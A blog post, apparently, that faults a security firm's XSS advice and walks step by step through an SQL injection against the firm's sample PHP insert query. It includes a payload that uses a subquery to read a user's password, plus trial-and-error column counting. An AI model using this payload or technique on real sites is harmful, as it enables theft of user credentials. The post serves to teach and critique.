#htmlspecialchars

PHP: htmlspecialchars - Manual

Which combination of the following filtering techniques prevents cross-site scripting (XSS) vulnerabilities? A. Strip all occurrences of the string $lt; in the script. B. Strip all occurences of javascript from the script. C. Enable magic_quotes_gpc D. None of the above

Answer: D

There is a very good explanation on how to prevent XSS attacks on Stack Overflow, here:

Basically you need to use the function htmlspecialchars() whenever you want to output something to the browser that came from the user input.

The correct way to use this function is something like this:

echo htmlspecialchars($string, ENT_QUOTES, 'UTF-8');

CyD Software Labs claim themselves to be "WEB security specialists".

Sounds great... so I decided to look at the stuff they're actually doing. After a short while, I stumbled up on this post about Cross Site Scripting (XSS).

While they make a good point about HTML entities, they're completely forgetting SQL injections. The code they're suggesting to prevent Cross Site Scripting is completely worthless, considering I can exploit their SQL query. I can still inject any HTML code, as if htmlspecialchars() never existed in their code.

<?php $username= htmlspecialchars($_GET['username']); $message= htmlspecialchars($_GET['message']); $result=mysql_query("INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)"); ?>

I mean,... seriously? That's all you have to suggest? This post is probably still from the PHP 4 days, when Magic Quotes was still a thing, but still... this suggestion is more than ridiculous. Especially coming form a "WEB security specialist".

Since they don't suggest mysql_real_escape_string(), I can insert single quotes into the query, and manipulate it that way. (For more information, I posted about this type of exploit a while ago here.)

They are however suggesting to apply htmlspecialchars() on the input, AND the output, which is pretty stupid, because it'll result in ugly output to the user. This method does not prevent code injection, but it prevents the code from executing on the client's side. That means I can save valid HTML in their database, but it won't be executed by the client because it's being converted to HTML entities.

But there are other types of attacks I can execute using the exploit. What if I'm not interested in the user's cookies, or redirects to spam sites, or anything else JavaScript can do? What if I inject a sub-query that selects user passwords and adds them to my posts?

It's as easy as inserting something like this into the "Name" field of their page:

', (SELECT `password` FROM `users` WHERE `userid` = 1), 1, 1, 1) #

This can be way more harmful than any XSS attack. Allowing me to insert JavaScript can give me some options to steal user information, and maybe even hijack their sessions by stealing their cookies and what not.

But in all honesty, why bother coding a script that can steal user's cookies and save them on another server, when I can get their info directly and more accurately?

There are some parts of their code that needs to be analyzed before continuing:

They're for example using a mysql_query() call without error control. Meaning, there's no "OR die(mysql_error())". That's good for them, and bad for us. Since we're not getting any useful errors, it can be hard to inject code as we don't know what we're really doing. However, there are still thousands of sites using proper error control, and most of them naively show the error to the user too.

Another thing is that we usually don't see is the actual code behind the user interface, so we don't necessarily know how many fields we need to insert into the database. In this example, they're inserting data into 4 columns before the user name and the message, and more data into 3 columns after that:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)

The data before the message ($message) is rather unimportant, as we inject code right after it. What we need to know is how many fields there are after it, as they might be required (can't be empty). Obviously, when injecting code we start with the minimum amount of columns.

We're first closing the initial single quote by inserting another one. Thus, resulting in a query like:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, ''

Now we add a comma, and then the actual SQL code we want to execute. This could be a SELECT sub-query, or a CHAR() call to write characters which would usually be converted by htmlspecialchars().

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]))

This query alone would be valid, but the rest of the original query is hard coded into the PHP script and we can't modify it. So we have to tell MySQL to ignore it, by adding a # to the end.

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #

Now the actual code will be send to the database like this:

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...])) #', '$message', 1, 1, 1)

In SQL, the # character stands for a command. Meaning it's "just" information for the programmer, and therefore ignored by MySQL.

However, in this case, the three 1s are unknown fields that can't be empty. So we're getting an error like this:

Column count doesn't match value count at row 1

This error means we're inserting less (or more) columns than required. From there we keep adding more, until it works.

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1) #

(Note the 1 after the SELECT sub-query. This would still produce the same error as we're not yet inserting the required amount of fields.)

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1) #

(Still no luck... keep trying, and add one more field.)

INSERT INTO minibbtable_posts VALUES(NULL, 1, 1, 1, '', (SELECT [...]), 1, 1, 1) #

Bingo...

Most of the times, hacking involves trying. You can't always know everything.

I'm aware that they're also addressing htmlentites() and htmlspecialchars()'s "quote style", but they're neither using it in their code, nor do they say how dangerous it is not to use these functions.